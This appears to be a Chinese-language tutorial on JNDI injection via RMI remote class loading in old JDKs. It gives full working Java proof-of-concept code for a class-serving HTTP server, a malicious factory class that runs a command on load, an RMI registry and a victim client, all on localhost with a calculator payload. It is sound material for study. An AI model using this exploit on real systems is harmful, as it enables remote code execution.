这一篇的重点还是远程加载。
运行环境,JDK 8u113以前的版本。之后的版本默认不允许RMI、cosnaming从远程的Codebase加载Reference工厂类。
JNDI注入最开始起源于野外发现的Java Applets 点击播放绕过漏洞(CVE-2015-4902),它的攻击过程可以简单概括为以下几步:
- 恶意applet使用JNLP实例化JNDI InitialContext
- javax.naming.InitialContext的构造函数将请求应用程序的JNDI.properties JNDI配置文件来自恶意网站
- 恶意Web服务器将JNDI.properties发送到客户端 JNDI.properties内容为:java.naming.provider.url = rmi://attacker-server/Go
- 在InitialContext初始化期间查找rmi//attacker-server/Go,攻击者控制的注册表将返回JNDI引用 (javax.naming.Reference)
- 服务器从RMI注册表接收到JNDI引用后,它将从攻击者控制的服务器获取工厂类,然后实例化工厂以返回 JNDI所引用的对象的新实例
- 由于攻击者控制了工厂类,因此他可以轻松返回带有静态变量的类初始化程序,运行由攻击者定义的任何Java代码,实现远程代码执行
创建一个http server
com.hans.httpServer.HttpServer
package com.hans.httpServer;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.InetSocketAddress;
/*
* 你客户端缺什么类到我这个Http服务上来拿
* https://paper.seebug.org/1091/
* 1. First start http server
* */
public class HttpServer implements HttpHandler {
public void handle(HttpExchange httpExchange) {
try {
System.out.println("new http request from " + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI());
InputStream inputStream = HttpServer.class.getResourceAsStream(httpExchange.getRequestURI().getPath());
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
while (inputStream.available() > 0) {
byteArrayOutputStream.write(inputStream.read());
}
byte[] bytes = byteArrayOutputStream.toByteArray();
httpExchange.sendResponseHeaders(200, bytes.length);
httpExchange.getResponseBody().write(bytes);
httpExchange.close();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String args[]) throws IOException {
com.sun.net.httpserver.HttpServer httpServer = com.sun.net.httpserver.HttpServer.create(new InetSocketAddress(8000), 0);
System.out.println("String HTTP Server on port: 8000");
httpServer.createContext("/", new HttpServer());
httpServer.setExecutor(null);
httpServer.start();
}
}
在http服务上放一个恶意的类
com.hans.remoteClass.ExportObject
package com.hans.remoteClass;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.Serializable;
import java.util.Hashtable;
public class ExportObject implements ObjectFactory, Serializable {
/**
*
*/
private static final long serialVersionUID = 1L;
static {
//这里由于在static代码块中,无法直接抛异常外带数据,不过在static中应该也有其他方式外带数据。没写在构造函数中是因为项目中有些利用方式不会调用构造参数,所以为了方标直接写在static代码块中所有远程加载类的地方都会调用static代码块
try {
exec("gnome-calculator");
} catch (Exception e) {
e.printStackTrace();
}
}
public static void exec(String cmd) throws Exception {
String sb = "";
BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
String lineStr;
while ((lineStr = inBr.readLine()) != null)
sb += lineStr + "\n";
inBr.close();
in.close();
// throw new Exception(sb);
}
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
当在eclipse中启动 http server时,eclipse会同时编译ExportObject.java。即可通过 http://localhost:8000/com/hans/remoteClass/ExportObject.class 获取恶意的类并运行。
恶意的RMI Server
com.hans.JNDIReference.RMIServer
package com.hans.JNDIReference;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
// 创建Registry
Registry registry = LocateRegistry.createRegistry(9999);
System.out.println("java RMI registry created. port on 9999...");
Reference refObj = new Reference("ExportObject", "com.hans.remoteClass.ExportObject", "http://127.0.0.1:8000/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);
}
}
受害的Client
com.hans.JNDIReference.RMIClient
package com.hans.JNDIReference;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
public class RMIClient {
public static void main(String[] args) throws RemoteException, NotBoundException, NamingException {
// Properties env = new Properties();
// env.put(Context.INITIAL_CONTEXT_FACTORY,
// "com.sun.jndi.rmi.registry.RegistryContextFactory");
// env.put(Context.PROVIDER_URL,
// "rmi://localhost:9999");
Context ctx = new InitialContext();
DirContext dirc = new InitialDirContext();
ctx.lookup("rmi://localhost:9999/refObj");
}
}
1.先启动HttpServer
2.在启动RMIServer
3.最后启动RMIClient
当请求RMI服务上的对象时,也就是InitialContext().lookup(),会同时请求恶意服务器上的Reference类,并加载恶意http服务上的com.hans.remoteClass.ExportObject.class恶意类,导致远程代码执行。InitialContext().lookup()是关键。后面weblogic漏洞的触发也是在这个函数方法上。